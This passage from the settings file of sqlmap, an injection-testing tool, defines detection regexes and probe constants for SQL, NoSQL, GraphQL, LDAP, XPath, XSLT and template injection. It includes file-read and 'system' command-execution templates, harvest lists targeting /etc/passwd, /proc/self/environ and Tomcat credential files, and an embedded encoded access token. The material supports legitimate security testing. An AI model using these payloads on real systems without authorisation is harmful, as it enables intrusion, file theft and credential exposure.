in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size) PURGE_BLOCK_SIZE = 1024 * 1024 # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 # Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_MAX = 1000 # Maximum number of times for revalidation of a character in inference (as required) MAX_REVALIDATION_STEPS = 5 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")) # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' # Default delimiter in cookie values DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" # Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) HASHDB_STALE_DAYS = 7 # Flush HashDB threshold number of cached items HASHDB_FLUSH_THRESHOLD_ITEMS = 200 # Flush HashDB threshold "dirty" time HASHDB_FLUSH_THRESHOLD_TIME = 5 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 # Number of retries for unsuccessful HashDB retrieve attempts HASHDB_RETRIEVE_RETRIES = 3 # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism) HASHDB_MILESTONE_VALUE = "CvHUbaSNZL" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 1000 # Wall-clock budget (in seconds) for the pure-Python cracking of very slow, per-hash-salted algorithms # (bcrypt); candidate-major so the most common passwords are tried against every hash first, then it stops # and the remainder is left for a dedicated tool (e.g. 'hashcat'). Overridable via 'SQLMAP_HASH_ATTACK_TIME_LIMIT' HASH_ATTACK_TIME_LIMIT = 300 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest" # Regular expression matching (declared) binary column types, used to auto-hex their values during dumping # so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by # the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type) BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b" # Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only # column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") # MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they # must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global) MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b" # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 # Maximum (deliberate) delay used in page stability check MAX_STABILITY_DELAY = 0.5 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 # Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so # that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the # value is popped right after it is triggered, so only recent entries ever matter) MAX_DNS_REQUESTS = 1000 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') # Minor artistic touch BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" # Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection NOSQL_ERRORS = ( ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"), ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), # NOTE: 'MERGE' is not Cypher-only. It is standard SQL, so it matched "Incorrect syntax near 'MERGE'" ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|LOAD CSV)'"), ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), # NOTE: the ANTLR "line N:M no viable alternative" line is not evidence of Cassandra on its own - # Hibernate 6 and Trino emit it word for word. What IS particular to the CQL grammar: the driver # exception in front of it, the ANTLR3 lexer wording ('mismatched character', which the ANTLR4 # parsers do not have), and the "(...[TOKEN]...)" excerpt that CQL appends to the offending token ("Cassandra", r"\b(?:ResponseError|SyntaxException|InvalidRequestException|InvalidQueryException)\b[^\n]{0,60}?line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input)|line \d+:\d+ (?:mismatched character|no viable alternative at input '[^']*' \(\.\.\.)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), ("DynamoDB", r"Statement wasn't well formed, can't be processed|software\.amazon\.awssdk\.services\.dynamodb|com\.amazonaws\.services\.dynamodbv2|\bDynamoDb(?:Exception|Error)\b"), ) NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) # Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction NOSQL_CHAR_MIN = 0x20 NOSQL_CHAR_MAX = 0x7e # Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump NOSQL_MAX_FIELDS = 64 # Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump NOSQL_MAX_RECORDS = 100 # Upper bound for the length search during NoSQL blind extraction NOSQL_MAX_LENGTH = 1024 # GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query") # Self-describing JSON endpoint directories probed once per host during crawling: OIDC discovery lists the # auth/token/userinfo URLs, OpenAPI/Swagger specs enumerate the whole API (their paths are mined as endpoints) WELL_KNOWN_ENDPOINT_PATHS = ("/.well-known/openid-configuration", "/swagger.json", "/openapi.json", "/swagger/v1/swagger.json", "/api-docs", "/v2/api-docs", "/v3/api-docs", "/api/swagger.json", "/api/openapi.json") # Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error # messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique) GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts", "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items", "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser") GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search", "email", "input", "password", "key", "filter", "slug", "title", "uid") # Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the # full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their # fields/arguments/inputFields with type chains, directives, and deprecation metadata. GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap { __schema { queryType { name } mutationType { name } subscriptionType { name } directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } } types { kind name fields(includeDeprecated: true) { name args { name defaultValue type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } type { kind name ofType { kind name ofType { kind name } } } } inputFields { name defaultValue type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } enumValues(includeDeprecated: true) { name } specifiedByURL } } }""" # GraphQL error patterns that identify the response as originating from a GraphQL layer (parse, # validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based # detection inside the GraphQL engine. GRAPHQL_PARSE_ERRORS = ( r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"', r"\bSyntax Error:\s*[^\"]", r"\bExpected Name,\s*found\b", r"\bUnexpected\s+\b", ) # NOTE: graphql-js quotes the offending name, and the response carries those quotes backslash-escaped # inside the JSON body ('Cannot query field \"x\" on type \"Query\"'). Without the optional backslash # none of these ever matched a real answer - only a pretty-printed one GRAPHQL_VALIDATION_ERRORS = ( r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', r"\bCannot query field\s+\\?\"[^\"\\]+\\?\"\s+on type\s+\\?\"[^\"\\]+\\?\"", r"\bUnknown argument\s+\\?\"[^\"\\]+\\?\"\s+on field\s+\\?\"[^\"\\]+\\?\"", r"\bField\s+\\?\"[^\"\\]+\\?\"\s+argument\s+\\?\"[^\"\\]+\\?\"\s+of type\s+\\?\"[^\"\\]+\\?\"\s+is required\b", r"\bVariable\s+\\?\"\$[^\"\\]+\\?\"\s+got invalid value\b", r"\bExpected type\s+[^,]+,\s*found\b", r"\bDid you mean\s+\\?\"[^\"\\]+\\?\"", ) GRAPHQL_APQ_ERRORS = ( r"\bPersistedQueryNotFound\b", r"\bPersistedQueryNotSupported\b", ) GRAPHQL_RUNTIME_ERRORS = ( r"\bGraphQL\s+(?:resolver\s+)?error\b", ) GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) # LDAP error signatures per back-end for error-based detection and fingerprinting (matched against # HTTP response bodies). Each tuple is (backend_name, regex_fragment). LDAP_ERROR_SIGNATURES = ( ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"), ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"), ("Microsoft Active Directory", r"80090308:\s*LdapErr"), ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"), ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"), ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"), ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"), ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"), ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"), ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"), ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"), ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"), ) # Combined LDAP error regex used for heuristic detection (checks.py) and for recognising # that an error response originates from an LDAP back-end rather than a generic HTTP 500 LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) # Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan LDAP_CHAR_MIN = 0x20 LDAP_CHAR_MAX = 0x7e # Upper bound for the value-length search during LDAP blind extraction LDAP_MAX_LENGTH = 256 # Maximum number of directory entries enumerated during LDAP blind dumping LDAP_MAX_RECORDS = 20 # Attributes that definitively identify the backend vendor when probed on the RootDSE or # a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend). LDAP_FINGERPRINT_ATTRIBUTES = ( ("objectGUID", None, "Microsoft Active Directory"), ("vendorName", "OpenLDAP", "OpenLDAP"), ("vendorName", "Apache Software Foundation", "ApacheDS"), ("vendorName", "Oracle Corporation", "Oracle Directory Server"), ("vendorName", "Red Hat", "389 Directory Server"), ) # XPath error signatures per parser implementation for error-based detection and # fingerprinting (matched against HTTP response bodies). Each tuple is # (backend_name, regex_fragment). XPATH_ERROR_SIGNATURES = ( # NOTE: neither javax.xml.transform.Transformer*Exception nor org.xml.sax.SAX*Exception belongs # here. The first is the XSLT transformer and the second is the XML parser, so claiming them made # every stylesheet failure and every malformed-XML response suggest '--xpath' as well. A real # Xalan XPath failure always carries javax.xml.xpath.XPathExpressionException ("Java JAXP / Xalan", r"(?:javax\.xml\.xpath\.XPathExpressionException|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath)"), ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"), ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"), # NOTE: XTDE is an XSLT Transformation Dynamic Error, so it stays with '--xslt' ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST)\d{4}:"), (".NET XPathNavigator", r"System\.Xml\.XPath\.XPathException"), (".NET XPathNavigator", r"Expression must evaluate to a node-set"), (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"), ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"), # NOTE: 'Invalid expression' on its own is not an XPath error. libxml2 always prefixes it with # "XPath error : ", and PHP always names the failing method, so both are covered without the # bare form - which otherwise matched any calculator or formula field ("lxml / libxml2", r"XPath error"), ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"), ("PHP SimpleXML / DOMXPath", r"xmlXPathEval"), ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"), ("Saxon (standalone)", r"Static error\(s\) in query"), ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"), ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"), ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), ("eXist", r"exerr:ERROR"), ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every # XSLT parser error suggest '--xpath' as well ("Generic XPath", r"XPath.*?(?:error|exception|syntax)"), ("Generic XPath", r"Invalid XPath|XPath evaluation failed"), ) XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES) # Printable-ASCII codepoint bounds bisected during XPath blind character extraction XPATH_CHAR_MIN = 0x20 XPATH_CHAR_MAX = 0x7e # Maximum tree depth for recursive XML walking during XPath blind extraction XPATH_MAX_DEPTH = 32 # Upper bound for the value-length search during XPath blind extraction XPATH_MAX_LENGTH = 256 # XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer # language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is # what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not # exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba. XQUERY_CAPABILITY_PROBES = ( "string-join(('a','b'),'')='ab'", "upper-case('a')='A'", "matches('a','a')", ) # XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind # character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is # handed an http:// URI). XQUERY_FILE_READ = "unparsed-text(%s)" XQUERY_MAX_FILE_LENGTH = 4096 # Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every # character here costs a bisection round-trip, so this is the identity/secret minimum rather than the # broad sweep an in-band engine can afford. XQUERY_FILE_HARVEST = ( "/etc/passwd", "/etc/hostname", "/proc/self/environ", "/proc/self/cmdline", "c:/windows/win.ini", ) # Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about # eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target. # The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix # from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full # XQUERY_MAX_FILE_LENGTH. XQUERY_HARVEST_CHARS = 32 # XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose # output is fixed, so they double as the fingerprint when nothing can be reflected. # Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt # underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow # the binding that actually tells the tester what they are talking to. XSLT_ERROR_SIGNATURES = ( ("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"), # NOTE: XPathEvalError is raised by a plain tree.xpath() call, so it belongs to '--xpath'. lxml # raises XSLTParseError / XSLTApplyError for a stylesheet ("libxslt / lxml", r"lxml\.etree\.XSLT(?:Parse|Apply)?Error"), # NOTE: Saxon is one product for XPath, XQuery and XSLT, so the package name alone proves nothing. # Only the XSLT-exclusive evidence is kept (XTSE static / XTDE dynamic codes, the style package) ("Saxon", r"(?:net\.sf\.saxon\.style\.|XTDE\d{4}|XTSE\d{4}|Failed to compile stylesheet)"), # NOTE: only the 'Configuration' form is exclusive to a stylesheet. javax.xml.xpath wraps a plain # XPath failure in a bare TransformerException, and a Xalan run-time failure names org.apache.xalan ("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.TransformerConfigurationException|org\.apache\.xalan|XSLT Error)"), (".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"), # Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in # checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures, # which would suggest '--xslt' on targets that have nothing to do with XSLT. # NOTE: xmlXPathEval is the libxml2 XPath entry point, which '--xpath' owns. libxslt names the # stylesheet file instead, and that is what tells the two apart ("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsltLoadStylesheet|xsl:\w+ : |(?:runtime|compilation) error: file [^\n]{0,120}\.xsl)"), ("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"), ) XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES) # system-property() names the processor from inside the transformation, so a response carrying it is the # engine speaking rather than the application echoing. XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version") # Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command # execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the # namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers # 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a # deterministic self-check whose result the application cannot produce by itself - not by asking whether # the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal. XSLT_BRIDGE_PHP = "php" XSLT_BRIDGE_JAVA = "java" # label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge) XSLT_BRIDGES = ( ("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl", "php:function('file_get_contents',%s)", "php:function('system',%s)"), # Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the # java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would # run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than # not offering it (a destructive command would look like it never ran). Hence no exec template. ("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java", "java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))", None), ) # File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target # filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere # availability is the finding. Each is (label, boolean XPath self-check that answers 'true'). XSLT_ADVISORY_PROBES = ( ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"), ("Saxon saxon:eval", "string(function-available('saxon:eval'))"), ) XSLT_MAX_FILE_LENGTH = 65536 # XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+ # engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so # the auto-harvest still returns something on a 1.0 engine (which is most of the installed base). XSLT_XML_HARVEST = ( "/var/www/html/WEB-INF/web.xml", "/usr/local/tomcat/conf/tomcat-users.xml", "/usr/local/tomcat/conf/server.xml", "/opt/tomcat/conf/tomcat-users.xml", "/etc/tomcat/tomcat-users.xml", "c:/inetpub/wwwroot/web.config", "c:/windows/system32/inetsrv/config/applicationHost.config", ) # Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests. XSLT_MAX_HARVEST = 12 # SSTI error signatures per template engine for detection and fingerprinting. # Each tuple is (engine_name, regex_fragment). SSTI_ERROR_SIGNATURES = ( ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"), # NOTE: 'at line: N char: N' (with those colons) is how Mako, and only Mako, points at the fault ("Mako", r"mako\.exceptions\.\w+|at line: \d+ char: \d+"), # NOTE: Twig quotes the offending name ('Unknown "upper" filter'). Without the quotes this also # matched the 'Unknown function' of Neo4j and Cassandra, which suggested '--ssti' on a NoSQL error ("Twig", "Twig[\\\\_]Error|Twig[\\\\_]Environment|Unknown \"[^\"]+\" (?:filter|function|test|tag)"), # NOTE: a bare 'ParseException' is not Freemarker. It also matched java.text.ParseException, # org.xml.sax.SAXParseException and REXML::ParseException. The package prefix is always present ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|InvalidReferenceException|TemplateException"), ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), # NOTE: these must stay anchored to a diagnostic. The bare product names matched any page that # carries the word 'pug'/'jade'/'handlebars' (a surname, a colour, a